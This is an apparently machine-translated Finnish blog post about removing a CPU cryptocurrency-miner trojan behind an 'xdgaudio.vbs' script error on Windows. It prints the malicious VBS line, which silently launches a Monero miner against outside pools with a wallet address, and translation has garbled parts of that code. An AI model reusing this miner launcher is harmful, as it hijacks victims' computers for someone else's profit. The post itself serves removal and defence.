Jos saat seuraavan virheilmoituksen, joka liittyy järjestelmääsi 'xdgaudio.vbs', tietokoneesi on todennäköisesti saanut tartunnan.
Komentosarja: C: windows xdgaudio.vbs
Linja: 3
Char: 1
Virhe: Järjestelmä ei löydä määritettyä tiedostoa.
Koodi: 80070002
Lähde: (null)
Kun sitä muokataan Muistiossa, komentosarja voi sisältää alla olevia rivejä:
Hämärä WShell-sarja WShell = CreateObject ('WScript.Shell') WShell.Run 'wmipvrse.exe -B --donaattitaso 1 -r 100 - säikeet 16 --cpu-prioriteetti 2 --cpu-affiniteetti 2 -a kryptaus -o kerrostuma + tcp: //xmr-eu.dwarfpool.com: 8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o stratum + tcp: //mine.moneropool.com: 3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv p x', 0 Aseta WShell = Ei mitään Tämä näyttää varmasti CPU / cryptocurrency Miner -troijalaiselta, joka ei vain hidasta tietokonetta, mutta voi myös aiheuttaa turvallisuusuhan. Komentosarjatiedostot c: windows xdgaudio.vbs ja c: windows servicecrsssr.vbs olisi poistettava. Tuo ei riitä. Suorita perusteellinen tarkistus Malwarebytes-haittaohjelmien avulla ja skannaa myös käyttämäsi virustorjuntaohjelmiston avulla.
Katso yksityiskohtaiset ohjeet tällaisen Miner-troijalaisen poistamisesta malwaretips.com-oppaasta CPU Miner Trojan -ohjelman poistaminen Windowsista (Viruksen ohje) .
Yksi pieni pyyntö: Jos pidit tästä viestistä, jaa tämä?
Yksi 'pieni' osuutesi sinulta auttaisi vakavasti paljon tämän blogin kasvussa. Hyviä ehdotuksia:- Kiinnittää sen!
- Jaa se suosikki blogiisi + Facebookiin, Reddit
- Twiitti se!